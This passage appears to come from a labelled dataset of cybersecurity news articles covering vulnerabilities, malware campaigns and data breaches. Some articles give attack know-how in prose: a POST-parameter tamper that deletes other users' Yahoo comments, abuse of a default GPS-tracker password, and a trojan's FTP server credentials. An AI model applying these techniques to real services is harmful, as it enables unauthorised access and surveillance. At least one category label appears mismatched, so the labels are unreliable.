Radare blog also published an in-depth technical analysis including the proof-of-concept of the this vulnerability, which indicates that it can be exploited by any threat actor to execute any type of malicious code. While, the GnuTLS project has already issued updated version 3.1.25, 3.2.15 and 3.3.3 in order to patch the vulnerability.

",Vulnerability
MS Office Built-in Feature Allows Malware Execution Without Macros Enabled,https://thehackernews.com/2017/10/ms-office-dde-malware.html,"Since new forms of cybercrime are on the rise, traditional techniques seem to be shifting towards more clandestine that involve the exploitation of standard system tools and protocols, which are not always monitored.

Security researchers at Cisco's Talos threat research group have discovered one such attack campaign spreading malware-equipped Microsoft Word documents that perform code execution on the targeted device without requiring Macros enabled or memory corruption.

This Macro-less code execution in MSWord technique, described in detail on Monday by a pair of security researchers from Sensepost, Etienne Stalmans and Saif El-Sherei, which leverages a built-in feature of MS Office, called Dynamic Data Exchange (DDE), to perform code execution.

Dynamic Data Exchange (DDE) protocol is one of the several methods that Microsoft allows two running applications to share the same data. The protocol can be used by applications for one-time data transfers and for continuous exchanges in which apps send updates to one another as new data becomes available.

Thousands of applications use the DDE protocol, including Microsoft's Excel, MS Word, Quattro Pro, and Visual Basic.

The exploitation technique that the researchers described displays no ""security"" warnings to victims, except asking them if they want to execute the application specified in the command—however, this popup alert could also be eliminated ""with proper syntax modification,"" the researchers say.
The duo has also provided a proof-of-concept video demonstrating the technique.

MS Word DDE Attack Being Actively Exploited In the Wild

As described by Cisco researchers, this technique was found actively being exploited in the wild by hackers to target several organisations using spear phishing emails, which were spoofed to make them look as if they're sent by the Securities and Exchange Commission (SEC) and convince users into opening them.
""The emails themselves contained a malicious attachment [MS Word] that when opened would initiate a sophisticated multi-stage infection process leading to infection with DNSMessenger malware,"" reads a blog post published by Talos researchers.
Earlier March, Talos researchers found attackers distributing DNSMessenger—a completely fileless remote access trojan (RAT) that uses DNS queries to conduct malicious PowerShell commands on compromised computers.

Once opened, victims would be prompted with a message informing them that the document contains links to external files, asking them to allow or deny the content to be retrieved and displayed.
If allowed, the malicious document will communicate to the attacker hosted content in order to retrieve code that'll be executed to initiate the DNSMessenger malware infection.
""Interestingly, the DDEAUTO field used by this malicious document retrieved code that the attacker had initially hosted on a Louisiana state government website, which was seemingly compromised and used for this purpose,"" the researchers say.

How to Protect Yourself And Detect MS Word DDE Attacks

What's more worrying? Microsoft doesn't consider this as a security issue, rather according to the company the DDE protocol is a feature that can not be removed but could be improved with better warning alerts for users in future.

Although there's no direct way to disable DDE code execution, users can proactively monitor system event logs to check possible exploitation.
Besides this, the researchers at NVISO Labs have also shared two YARA rules to detect DDE vector in Office Open XML files.

The best way to protect yourself from such malware attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless properly verifying the source.

",Vulnerability
Hackers Demonstrate Car Hacking using a laptop,https://thehackernews.com/2013/07/Hacking-car-remote-control-vulnerabilities.html,"Computer geeks already knew it was possible to hack into a car's computerized systems and finally, two U.S. hackers - Charlie Miller and Chris Valasek, sponsored by the Pentagon's research facility DARPA recently demonstrated just how easy it is for malicious hackers to physically hijack a modern car using a laptop.

Feeling exiting ... ? You should worry too..It's all very concerning. Because you may never drive your car again after you see how a couple of government funded tech guys were able to hack into, and take control of car's steering, dashboard, and even its brakes.

Forget hacking accounts, computers or mobile devices, this new threat to our vehicles is thanks to the evolution of electronic control units being installed in most new cars.

Charlie Miller, a security engineer at Twitter, and Chris Valasek, the Director of Security Intelligence at IOActive received an $80,000 grant from the US government in order to research these new vulnerabilities.
By connecting an Apple MacBook to the car's OBD-II (On-Board Diagnostic System) port below the dashboard, they were able to trigger a series of minor and major events that could annoy drivers at best and cause a serious accident at worst. Minor hacks included manipulation of the car's fuel gauge and speedometer, triggering the seatbelt pre-tensioners and sounding the horn.

A video of their demonstration from Forbes, shows them using their electronic access to disconnect brakes, scramble a speedometer, wobble a steering wheel and blast a horn, inside a 2010 model Ford Escape and Toyota Prius.
That study showed that the engine control devices initially designed for pollution reduction had been integrated into other aspects of a car's functioning and diagnostics.

But security research is notoriously difficult; the fact that Toyota's engineers haven't found any security vulnerabilities doesn't mean there aren't any.

",Vulnerability
"Uber Paid 20-Year-Old Florida Hacker $100,000 to Keep Data Breach Secret",https://thehackernews.com/2017/12/uber-hacker.html,"Last year, Uber received an email from an anonymous person demanding money in exchange for the stolen user database.

It turns out that a 20-year-old Florida man, with the help of another, breached Uber's system last year and was paid a huge amount by the company to destroy the data and keep the incident secret.

Just last week, Uber announced that a massive data breach in October 2016 exposed personal data of 57 million customers and drivers and that it paid two hackers $100,000 in ransom to destroy the information.

However, the ride-hailing company did not disclose identities or any information about the hackers or how it paid them.

Now, two unknown sources familiar with the incident have told Reuters that Uber paid a Florida man through HackerOne platform, a service that helps companies to host their bug bounty and vulnerability disclosure program.

So far, the identity of the Florida man was unable to be obtained or another person who helped him carry out the hack.

Notably, HackerOne, who does not manage or plays any role in deciding the rewards on behalf of companies, receives identifying information of the recipient (hackers and researchers) via an IRS W-9 or W-8BEN form before payment of the award can be made.

In other words, some employees at Uber and HackerOne definitely knows the real identity of the hacker, but choose not to pursue the case, as the individual did not appear to pose any future threat to the company.

Moreover, the sources also said that Uber conducted a forensic analysis of the hacker's computer to make sure that all the stolen data had been wiped, and had the hacker also sign a nondisclosure agreement to prevent further wrongdoings.

Reportedly, the Florida man also paid some unknown portion of the received bounty to the second person, who was responsible for helping him obtain credentials from GitHub for access to Uber data stored elsewhere.

Originally occurred in October 2016, the breach exposed the names and driver license numbers of some 600,000 drivers in the United States, and the names, emails, and mobile phone numbers of around 57 million Uber users worldwide, which included drivers as well.

However, other personal details, like trip location history, dates of birth, credit card numbers, bank account numbers, and Social Security numbers, were not accessed in the attack.

Former Uber CEO Travis Kalanick learned of the cyber attack in November 2016 and chose not to involve authorities, believing the company can easily and more effectively negotiate directly with the hackers to limit any harm to its customers.

However, this secret dealing with the hackers eventually cost Uber security executives their jobs for handling the incident.

Now Uber CEO Dara Khosrowshahi has reportedly fired Uber Chief Security Officer Joe Sullivan, and one of his deputies, Craig Clark, who worked to keep the data breach quiet.
""None of this should have happened, and I will not make excuses for it. While I cannot erase the past, I can commit on behalf of every Uber employee that we will learn from our mistakes,"" Khosrowshahi said.
""We are changing the way we do business, putting integrity at the core of every decision we make and working hard to earn the trust of our customers.""
Last week, three more top Uber security managers resigned, including Sullivan's chief of staff Pooja Ashok, senior security engineer Prithvi Rai, and physical security chief Jeff Jones.

",Data_Breaches
Marriott Suffers Second Breach Exposing Data of 5.2 Million Hotel Guests,https://thehackernews.com/2020/03/marriott-data-breach.html,"International hotel chain Marriott today disclosed a data breach impacting nearly 5.2 million hotel guests, making it the second security incident to hit the company in recent years.

""At the end of February 2020, we identified that an unexpected amount of guest information may have been accessed using the login credentials of two employees at a franchise property,"" Marriott said in a statement.

""We believe this activity started in mid-January 2020. Upon discovery, we confirmed that the login credentials were disabled, immediately began an investigation, implemented heightened monitoring, and arranged resources to inform and assist guests.""

The incident exposed guests' personal information such as contact details (name, mailing address, email address, and phone number), loyalty account information (account number and points balance), and additional information such as company, gender, dates of births, room preferences, and language preferences.

The hospitality giant said an investigation into the breach was ongoing, but said there was no evidence that Marriott Bonvoy account passwords or PINs, payment card information, passport information, national IDs, or driver's license numbers were compromised.

Marriott has also set up a self-service online portal for guests to check whether their personal details were involved in the breach, and what categories of information were exposed. In addition, it's offering affected users an option to enroll in IdentityWorks, a personal information monitoring service, free of charge for 1 year.

The company has already taken the step of disabling the passwords of Marriott Bonvoy members who had their information potentially exposed in the incident, and they will be notified to change their passwords during the next login, as well as prompted to enable multi-factor authentication.

The incident follows a 2014 compromise of Starwood Hotels guest reservation database, which was acquired by Marriott in 2016. The breach, which exposed personal details of over 339 million guests globally, wasn't detected until November 2018, leading to it paying a fine of £99 million ($123 million) to the UK's data privacy regulator Information Commissioner's Office under GDPR laws.

""The kinds of information disclosed in the latest Marriott breach might seem innocuous, but it is precisely this kind of intelligence that enables threat actors to better target attacks on consumers,"" Gerrit Lansing, STEALTHbits' Field CTO told The Hacker News via email today.

""Simply: the more I know about you, the better chance I have of fooling you. Compromised credentials remain one of the top vectors for this kind of compromise, and strong authentication before accessing sensitive information one of the best defenses.""

",Data_Breaches
DDoS Attacks originated from thousands of .EDU and .GOV WordPress Blogs,https://thehackernews.com/2013/12/ddos-attacks-originated-from-thousands.html,"In a recent cyber attack on a Forum site, thousands of outdated legitimate WordPress blogs were abused to perform DDOS attacks using previously known vulnerabilities.

After analyzing the Log file from the victim's server, we have noticed many Wordpress CMS based educational (.EDU) and Government (.GOV) websites from where the attack was originated.
In the past we have reported about many such cyber attacks, where attackers hacked into the Wordpress blogs using password brute-force attack or they used the PINGBACK vulnerability in older versions of Wordpress without compromising the server.

WordPress has a built in functionality called Pingback, which allows anyone to initiate a request from WordPress to an arbitrary site and it can be used for a single machine to originate millions of requests from multiple locations.

We have seen more than 100,000 IP addresses involved in the recent DDOS attack and the victim's Forum website received more than 40,000 requests in 7 minutes from different Wordpress blogs and IP addresses.

In this recent attack, we have noticed more than 4000 .EDU and .GOV sites along with thousands of other abused sites, including following:
open.nasa.gov
oversight.house.gov
digitalbusiness.gov.au
pilr.blogs.law.pace.edu
itp.nyu.edu/~mlt324/MattTsBlog
cctevents.creighton.edu
tech.journalism.cuny.edu
languagelog.ldc.upenn.edu/nll
researchcenter.journalism.cuny.edu
testkitchen.colorado.edu
smartpyme.blogs.uoc.edu
journalism.cuny.edu
blogs.ei.columbia.edu
cctevents.creighton.edu
admissions.vanderbilt.edu/vandybloggers
erb.umich.edu
metalab.harvard.edu
greenlaw.blogs.law.pace.edu
and thousands more..
These large servers can cause much more damage in DDoS attacks because the servers have the large network bandwidth and are capable of generating significant amounts of traffic.

At this time it's not clear that either these Wordpress blogs are compromised or the Pingback vulnerability was used to perform the attack.

But It's always wise to learn from other's mistake. If you still use 'admin' or common name as a user name on your blog, change it, use a strong password. There are also security plug-ins available, two-factor authentication options available for WordPress and of course make sure you are up-to-date on the latest version of WordPress.

",Vulnerability
Vulnerability in Yahoo Websites Allows Hackers to Delete Any Comment,https://thehackernews.com/2014/05/vulnerability-in-yahoo-websites-allows.html,"Two months ago, we reported a critical vulnerability on the Yahoo Answers platform that allowed a hacker to delete all the posted thread and comments from Yahoo's Suggestion Board website.

Recently, a similar vulnerability has been reported by another Egyptian security researcher 'Ahmed Aboul-Ela', that allows him to delete any comment from all Yahoo Services, including Yahoo News , Yahoo Sports , Yahoo TV , Yahoo Music , Yahoo Weather, Yahoo Celebrity , Yahoo Voices and more.

HOW TO DELETE ANY COMMENT
When yahoo users comment on any article or post on any of the Yahoo services, they are allowed to delete their own comment anytime. But the reported vulnerability discovered by Ahmed allows them to delete all the comments, even if they are posted by others.
To delete a comment, one can initiate the request by clicking on the delete button and once clicked, the page sends a POST request to the Yahoo server with some variables i.e. comment_id and content_id, where comment_id represents the comment's serial number and content_id represents the article identifier.

To carry out this, an attacker just has to initiate a request to delete his own comment, then needs to tamper the POST request in order to replace his own comment_id parameter value with the value of targeted comment. Once the server will receive this request, it will delete that comment from the database, as it fails to validate user's permissions.

VIDEO DEMONSTRATION
But there is a small dependency here, an attacker can delete comments from a post, only if he is the first to comment on that post.
""The vulnerability will only work if you were the first commenter on the article as you will have a privilege to delete any other yahoo users comments who post comment after you. otherwise it will give you the Authorization Failed error message , so it seems that the developer was taking care of the bug but he just forgot to add the validation when he checks if you are the first commenter."" Ahmad explained.
The vulnerability has been fixed by Yahoo Security Team after Ahmad reported them few weeks before.

",Vulnerability
Chinese Hackers Carried Out Country-Level Watering Hole Attack,https://thehackernews.com/2018/06/chinese-watering-hole-attack.html,"Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks.

The campaign is believed to be active covertly since fall 2017 but was spotted in March by security researchers from Kaspersky Labs, who have attributed these attacks to a Chinese-speaking threat actor group called LuckyMouse.

LuckyMouse, also known as Iron Tiger, EmissaryPanda, APT 27 and Threat Group-3390, is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year.

The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors.

This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain ""access to a wide range of government resources at one fell swoop.""

According to the researchers, the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks.
Although LuckyMouse has been spotted using a widely used Microsoft Office vulnerability (CVE-2017-11882) to weaponize Office documents in the past, researchers have no proofs of this technique being used in this particular attack against the data center.

The initial attack vector used in the attack against the data center is unclear, but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center.

The attack against the data center eventually infected the targeted system with a piece of malware called HyperBro, a Remote Access Trojan (RAT) deployed to maintain persistence in the targeted system and for remote administration.
""There were traces of HyperBro in the infected data center from mid-November 2017. Shortly after that different users in the country started being redirected to the malicious domain update.iaacstudio[.]com as a result of the waterholing of government websites,"" the researchers said in a blog post published today.
""These events suggest that the data center infected with HyperBro and the waterholing campaign are connected.""
As a result of the waterholing attack, the compromised government websites redirected the country's visitors to either penetration testing suite Browser Exploitation Framework (BeEF) that focuses on the web browser, or the ScanBox reconnaissance framework, which perform the same tasks as a keylogger.

The main command and control (C&C) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP, specifically to a MikroTik router running a firmware version released in March 2016.

Researchers believe the Mikrotik router was explicitly hacked for the campaign in order to process the HyperBro malware's HTTP requests without detection.

",Malware
Detected a malware that steal image files via FTP … Should we be concerned?,https://thehackernews.com/2012/11/detected-malware-that-steal-image-files_9.html,"I have recently found an interesting post of Niranjan Jayanand, a researcher of McAfee and members of Facebook team and customer escalation team. The experts announced that his team has recently detected a Trojan that is able to steal every king of image files form a Windows PC, including a memory dump of the victim machine (.dmp files), and upload them to an FTP server.

The activities observed are much suspected, they portend that there is an ongoing attack for cyber espionage or a massive information theft operation by cyber crime . This could be just a first stages of the attacks in which information are collected for further and complex initiatives.

The stolen image files could be used for blackmailing the victims and demanding a ransom, it's nor first time, let's reminds what happened some months ago when nude pictures of celebrities were stolen.
This is not the unique use that I could suppose, images could be also used for other purposes, they could be related to reserved project or to document scans, their exposure could cause serious risks.

Let's think also to the possibility to use the images to create fake accounts to infiltrate social networks and gather information on specific targets rather than realize more sophisticated fraud schema Similar social engineering attacks have also hit high officials of government agencies in the past.

There is also another disturbing particular … why the attackers are collecting also .dmp files?
It is very likely that the attackers are interested to discover vulnerabilities in infected machines; the memory dump could contain useful information on programs in execution of the victim pc, data that could be used to adopt specific exploits in the attacks.

""They are often created when a program has an error in coding and crashes.

Gathering .dmp files could by a typo by the malware authors, who might have sought .bmp image files instead.""

The file stolen are sent by the Trojan via FTP to the server with IP address 176.x.xxx.90 using following FTP credentials

• Username=""wasitnew""
• password=""qiw2e3r4t5y6.""
The FTP doesn't respond since November 5th, maybe the authors are working to improve it or simply are rearranging the offensive. The post is closed with a mention to previous more sophisticated malware and the way the authors controlled them, for example hiding, using steganography methods, the command strings inside images sent to the agents.

""Since 2008 we have seen image files carrying embedded image files within. Malware authors sometimes hide their commands behind an image file using steganography.""

Waiting for further interesting revelations … let's keep updated our defense systems.

",Malware
Flaws in Over Half a Million GPS Trackers Expose Children Location Data,https://thehackernews.com/2019/09/gps-tracking-device-for-kids.html,"What if the tech intended to ensure that your kids, senior citizens, and pets are safe even when they're out of sight inadvertently expose them to stalkers?

An estimated 600,000 GPS tracking devices for sale on Amazon and other large online merchants for $25–$50 have been found vulnerable to a handful of dangerous vulnerabilities that may have exposed user's real-time locations, security researchers have claimed.

Cybersecurity researchers from Avast discovered that 29 models of GPS trackers made by Chinese technology company Shenzhen i365 for keeping tabs on young children, elderly relatives, and pets contain a number of security vulnerabilities.

Moreover, all over half a million tracking devices were shipped with the same default password of ""123456,"" leaving an opportunity for attackers to easily access tracking information for those who never changed the default password.

Vulnerabilities in GPS Tracking Devices

The reported GPS tracking device vulnerabilities could enable remote attackers with just an Internet connection to:

track real-time GPS coordinates of the device's wearer,
falsify location data of the device to give an inaccurate reading, and
access the devices' microphone for eavesdropping.

Most of the discovered vulnerabilities rely on the fact that the communication between 'GPS trackers and the Cloud,' 'Cloud and the device's companion mobile Apps,' and 'Users and the device's web-based application'—all use unencrypted plain text HTTP protocol, allowing MiTM attackers to intercept exchanged data and issue unauthorized commands.



""All the communications in the web application go over HTTP. All the JSON requests are again unencrypted and in plaintext,"" researchers explain in a detailed report.

""You can make the tracker call an arbitrary phone number and once connected, you can listen through the tracker the other party without their knowledge. The communication is text-based protocol, and the most concerning thing is the lack of authorization. The whole thing works just by identifying the tracker by its IMEI.""

Spying On Real-Time GPS Location With An SMS

Besides this, researchers also found that remote attackers can also obtain real-time GPS coordinates of a target device just by sending an SMS to the phone number associated with the SIM card (inserted into the device) which provides DATA+SMS capabilities to the device.
Though attackers first need to know the associated phone number and password of the tracker to carry out this attack, researchers said one can exploit cloud/mobile app related flaws to command the tracker send an SMS to an arbitrary phone number on behalf of itself, allowing an attacker to obtain the phone number of the device.

Now, with access to the device's phone number and password being '123456' for almost all devices, the attacker can use the SMS as an attack vector.

Analysis of the T8 Mini GPS Tracker Locator by the researchers also found that its users were directed to an unsecured website to download the device's companion mobile app, exposing the users' information.

Over Half-A-Million People Using Affected GPS Trackers

The affected models of GPS trackers include T58, A9, T8S, T28, TQ, A16, A6, 3G, A18, A21, T28A, A12, A19, A20, A20S, S1, P1, FA23, A107, RomboGPS, PM01, A21P, PM02, A16X, PM03, WA3, P1-S, S6, and S9.

Though the manufacturer of these GPS trackers, Shenzhen i365, is based in China, Avast's analysis found that these GPS trackers are widely used in the United States, Europe, Australia, South America, and Africa.

The researchers said it privately notified the vendor of the critical security vulnerabilities on June 24 and reached the company out multiple times, but never got a response.

Martin Hron, senior researcher at Avast, said:

""We have done our due diligence in disclosing these vulnerabilities to the manufacturer, but since we have not heard back after the standard window of time, we are now issuing this public service announcement to consumers and strongly advise you to discontinue use of these devices.""

Researchers also advised people to do part of their research and choose a secured device from a respected vendor, rather than go for any cheap equipment from an unknown company on Amazon, eBay, or other online markets.

",Vulnerability
MediaWiki Remote Code Execution vulnerability leaves Wikipedia open for Cyber attacks,https://thehackernews.com/2014/01/mediawiki-remote-code-execution.html,"The Encyclopedia giant WIKIPEDIA has been found vulnerable to remote code execution because of a critical flaw in the MediaWiki software.

Wikipedia is a name which has become a major source of information for all of us. It has webpages on almost every topic you need to search.

This giant is powered by an open source wiki software called MediaWiki. MediaWiki not only empowers Wikipedia, but also a number of other wiki websites. This software is a product of the Wikimedia Foundation and is coded in PHP with a database as backend.

Cyber Point Software Technologies found a remote code execution vulnerability in MediaWiki, ""This vulnerability affects all versions of MediaWiki from 1.8 onwards.""

The vulnerability assigned with ID CVE-2014-1610 allows an attacker to execute shell code remotely via an incorrectly sanitized parameter on the MediaWiki application server.
""Shell meta characters can be passed in the page parameter to the thumb.php."" Bug 60339.
MediaWiki announced Security Releases 1.22.2, 1.21.5 and 1.19.11, ""Your MediaWiki installation is affected by a remote code execution vulnerability if you have enabled file upload support for DjVu (natively supported by MediaWiki) or PDF files (in combination with the PdfHandler extension). Neither file type is enabled by default in MediaWiki installations. If you are affected, we strongly urge you to update immediately.""

Key Findings: The vulnerability might have caused Wikipedia's web servers a malicious content distributor, if left uncovered.

""Check Point promptly alerted the WikiMedia Foundation to the presence of this vulnerability, and after verifying it the Foundation released a software update to correct the issue.""

An update was released from the Wikimedia Foundation after knowing about the vulnerability from Check Point. This is the 3rd 'remote code execution' vulnerability reported in MediaWiki Platform, since 2006.

""It only takes a single vulnerability on a widely adopted platform for a hacker to infiltrate and wreak widespread damage,"" says Dorit Dor, vice president of products, Check Point Software Technologies. Check Point's Vulnerability Research Group assesses common software to ensure the security of Internet users.

MediaWiki 's latest version 1.22.2 Stable is fully patched to defend against this flaw, and Wikipedia is now also upgraded to it.

Since almost all cyber security enthusiasts are putting efforts in finding security loopholes in the products available on the Internet, that has put Open source technology to the highest priority in terms of security testing.

",Cyber_Attack
Beware - Gaddafi malware on Internet,https://thehackernews.com/2011/10/beware-gaddafi-malware-on-internet.html,"Beware - Gaddafi malware on Internet


As is not unusual when big news breaks, malware authors try to take advantage of the situation.A global computer virus that hides in an email about Gaddafi's death has been detected by Norman. The malware was caught in its worldwide network of spam traps.

The email below was sent to a mailing list that receives information pertaining to the Uighur people. The mail appears to have been sent from Korea.
Malicious hackers have spammed out an attack posing as pictures of Gaddafi's death, tricking users into believing that they came from the AFP news agency and are being forwarded by a fellow internet user.

As unlikely as the legitimacy of these emails may seem - in this case, the latest photos being forwarded to you in an email attachment - the news is often just too interesting for people to ignore.

Internet users are advised to avoid opening the email and updating or applying their security settings.

",Malware
Over 20 Million Users Installed Malicious Ad Blockers From Chrome Store,https://thehackernews.com/2018/04/adblocker-chrome-extention.html,"If you have installed any of the below-mentioned Ad blocker extension in your Chrome browser, you could have been hacked.

A security researcher has spotted five malicious ad blockers extension in the Google Chrome Store that had already been installed by at least 20 million users.

Unfortunately, malicious browser extensions are nothing new. They often have access to everything you do online and could allow its creators to steal any information victims enter into any website they visit, including passwords, web browsing history and credit card details.

Discovered by Andrey Meshkov, co-founder of Adguard, these five malicious extensions are copycat versions of some legitimate, well-known Ad Blockers.

Creators of these extensions also used popular keywords in their names and descriptions to rank top in the search results, increasing the possibility of getting more users to download them.
""All the extensions I've highlighted are simple rip-offs with a few lines of code and some analytics code added by the authors,"" Meshkov says.
After Meshkov reported his findings to Google on Tuesday, the tech giant immediately removed all of the following mentioned malicious ad blockers extension from its Chrome Store:

AdRemover for Google Chrome™ (10 million+ users)
uBlock Plus (8 million+ users)
[Fake] Adblock Pro (2 million+ users)
HD for YouTube™ (400,000+ users)
Webutation (30,000+ users)

Meshkov downloaded the 'AdRemover' extension for Chrome, and after analyzing it, he discovered that malicious code hidden inside the modified version of jQuery, a well-known JavaScript library, sends information about some websites a user visits back to a remote server.

Also Read: Someone Hijacks A Popular Chrome Extension to Push Malware

The malicious extension then receives commands from the remote server, which are executed in the extension 'background page' and can change your browser's behavior in any way.

To avoid detection, these commands send by the remote server are hidden inside a harmless-looking image.
""These commands are scripts which are then executed in the privileged context (extension's background page) and can change your browser behavior in any way,"" Meshkov says.
""Basically, this is a botnet composed of browsers infected with the fake Adblock extensions,"" Meshkov says. ""The browser will do whatever the command center server owner orders it to do.""
The researcher also analyzed other extensions on the Chrome Store and found four more extensions using similar tactics.

Also Read: Malicious Chrome Extension Hijacks CryptoCurrencies and Wallets

Since browser extension takes permission to access to all the web pages you visit, it can do practically anything.

So, you are advised to install as few extensions as possible and only from companies you trust.

",Malware
"Update Your Windows PCs to Patch 117 New Flaws, Including 9 Zero-Days",https://thehackernews.com/2021/07/update-your-windows-pcs-to-patch-117.html,"Microsoft rolled out Patch Tuesday updates for the month of July with fixes for a total of 117 security vulnerabilities, including nine zero-day flaws, of which four are said to be under active attacks in the wild, potentially enabling an adversary to take control of affected systems.
Of the 117 issues, 13 are rated Critical, 103 are rated Important, and one is rated as Moderate in severity, with six of these bugs publicly known at the time of release.
The updates span across several of Microsoft's products, including Windows, Bing, Dynamics, Exchange Server, Office, Scripting Engine, Windows DNS, and Visual Studio Code. July also marks a dramatic jump in the volume of vulnerabilities, surpassing the number Microsoft collectively addressed as part of its updates in May (55) and June (50).
Chief among the security flaws actively exploited are as follows —
CVE-2021-34527 (CVSS score: 8.8) - Windows Print Spooler Remote Code Execution Vulnerability (publicly disclosed as ""PrintNightmare"")
CVE-2021-31979 (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability
CVE-2021-33771 (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability
CVE-2021-34448 (CVSS score: 6.8) - Scripting Engine Memory Corruption Vulnerability
Microsoft also stressed the high attack complexity of CVE-2021-34448, specifically stating that the attacks hinge on the possibility of luring an unsuspecting user into clicking on a link that leads to a malicious website hosted by the adversary and contains a specially-crafted file that's engineered to trigger the vulnerability.
The other five publicly disclosed, but not exploited, zero-day vulnerabilities are listed below —
CVE-2021-34473 (CVSS score: 9.1) - Microsoft Exchange Server Remote Code Execution Vulnerability
CVE-2021-34523 (CVSS score: 9.0) - Microsoft Exchange Server Elevation of Privilege Vulnerability
CVE-2021-33781 (CVSS score: 8.1) - Active Directory Security Feature Bypass Vulnerability
CVE-2021-33779 (CVSS score: 8.1) - Windows ADFS Security Feature Bypass Vulnerability
CVE-2021-34492 (CVSS score: 8.1) - Windows Certificate Spoofing Vulnerability
""This Patch Tuesday comes just days after out-of-band updates were released to address PrintNightmare — the critical flaw in the Windows Print Spooler service that was found in all versions of Windows,"" Bharat Jogi, senior manager of vulnerability and threat research at Qualys, told The Hacker News.
""While MSFT has released updates to fix the vulnerability, users must still ensure that necessary configurations are set up correctly. Systems with misconfigurations will continue to be at risk of exploitation, even after the latest patch has been applied. PrintNightmare was a highly serious issue that further underscores the importance of marrying detection and remediation,"" Jogi added.
The PrintNightmare vulnerability has also prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to release an emergency directive, urging federal departments and agencies to apply the latest security updates immediately and disable the print spooler service on servers on Microsoft Active Directory Domain Controllers.
Additionally, Microsoft also rectified a security bypass vulnerability in Windows Hello biometrics-based authentication solution (CVE-2021-34466, CVSS score: 5.7) that could permit an adversary to spoof a target's face and get around the login screen.
Other critical flaws remediated by Microsoft include remote code execution vulnerabilities affecting Windows DNS Server (CVE-2021-34494, CVSS score 8.8) and Windows Kernel (CVE-2021-34458), the latter of which is rated 9.9 on the CVSS severity scale.
""This issue allows a single root input/output virtualization (SR-IOV) device which is assigned to a guest to potentially interfere with its Peripheral Component Interface Express (PCIe) siblings which are attached to other guests or to the root,"" Microsoft noted in its advisory for CVE-2021-34458, adding Windows instances hosting virtual machines are vulnerable to this flaw.
To install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates.
Software Patches From Other Vendors
Alongside Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including —
Adobe
Android
Apache Tomcat
Cisco
Citrix
Juniper Networks
Linux distributions SUSE, Oracle Linux, and Red Hat
SAP
Schneider Electric
Siemens, and
VMware

",Vulnerability
New Bluetooth Flaws Let Attackers Impersonate Legitimate Devices,https://thehackernews.com/2021/05/new-bluetooth-flaws-let-attackers.html,"Adversaries could exploit newly discovered security weaknesses in Bluetooth Core and Mesh Profile Specifications to masquerade as legitimate devices and carry out man-in-the-middle (MitM) attacks.
""Devices supporting the Bluetooth Core and Mesh Specifications are vulnerable to impersonation attacks and AuthValue disclosure that could allow an attacker to impersonate a legitimate device during pairing,"" the Carnegie Mellon CERT Coordination Center said in an advisory published Monday.
The two Bluetooth specifications define the standard that allows for many-to-many communication over the short-range wireless technology to facilitate data transfer between devices in an ad-hoc network.
The Bluetooth Impersonation AttackS, aka BIAS, enable a malicious actor to establish a secure connection with a victim, without having to know and authenticate the long-term key shared between the victims, thus effectively bypassing Bluetooth's authentication mechanism.
""The BIAS attacks are the first uncovering issues related to Bluetooth's secure connection establishment authentication procedures, adversarial role switches, and Secure Connections downgrades,"" the researchers said. ""The BIAS attacks are stealthy, as Bluetooth secure connection establishment does not require user interaction.""
""To confirm that the BIAS attacks are practical, we successfully conduct them against 31 Bluetooth devices (28 unique Bluetooth chips) from major hardware and software vendors, implementing all the major Bluetooth versions, including Apple, Qualcomm, Intel, Cypress, Broadcom, Samsung, and CSR.""
In addition, four separate flaws have been uncovered in Bluetooth Mesh Profile Specification versions 1.0 and 1.0.1. A summary of the flaws is as follows -
CVE-2020-26555 - Impersonation in Bluetooth legacy BR/EDR pin-pairing protocol (Core Specification 1.0B through 5.2)
CVE-2020-26558 - Impersonation in the Passkey entry protocol during Bluetooth LE and BR/EDR secure pairing (Core Specification 2.1 through 5.2)
N/A - Authentication of the Bluetooth LE legacy pairing protocol (Core Specification 4.0 through 5.2)
CVE-2020-26556 - Malleable commitment in Bluetooth Mesh Profile provisioning (Mesh profile 1.0 and 1.0.1)
CVE-2020-26557 - Predictable AuthValue in Bluetooth Mesh Profile provisioning (Mesh profile 1.0 and 1.0.1)
CVE-2020-26559 - Bluetooth Mesh Profile AuthValue leak (Mesh profile 1.0 and 1.0.1)
CVE-2020-26560 - Impersonation attack in Bluetooth Mesh Profile provisioning (Mesh profile 1.0 and 1.0.1)
""Our attacks work even when the victims are using Bluetooth's strongest security modes, e.g., SSP and Secure Connections. Our attacks target the standardized Bluetooth authentication procedure, and are therefore effective against any standard compliant Bluetooth device,"" the researchers said.
The Android Open Source Project (AOSP), Cisco, Cradlepoint, Intel, Microchip Technology, and Red Hat are among the identified vendors with products impacted by these security flaws. AOSP, Cisco, and Microchip Technology said they are currently working to mitigate the issues.
""Cradlepoint was notified of the BLE vulnerabilities prior to public disclosure. We have a production release of our NetCloud OS code available (NCOS version 7.21.40) that fixes the cited issues,"" the company told The Hacker News over email. ""As a result, we consider this security vulnerability remediated.""
The Bluetooth Special Interest Group (SIG), the organization that oversees the development of Bluetooth standards, has also issued security notices for each of the six flaws. Bluetooth users are recommended to install the latest recommended updates from device and operating system manufacturers as and when they are available.

",Malware
Google Researcher Releases iOS Exploit—Could Enable iOS 11 Jailbreak,https://thehackernews.com/2017/12/ios11-jailbreak-exploit.html,"As promised last week, Google's Project Zero researcher Ian Beer now publicly disclosed an exploit that works on almost all 64-bit Apple devices running iOS 11.1.2 or earlier, which can be used to build an iOS jailbreak, allowing users to run apps from non-Apple sources.

On Monday morning, Beer shared the details on the exploit, dubbed ""tfp0,"" which leveraged double-free memory corruption vulnerabilities in the kernel, the core of the operating system.

Here, ""tfp0"" stands for ""task for pid 0"" or the kernel task port—which gives users full control over the core of the operating system.

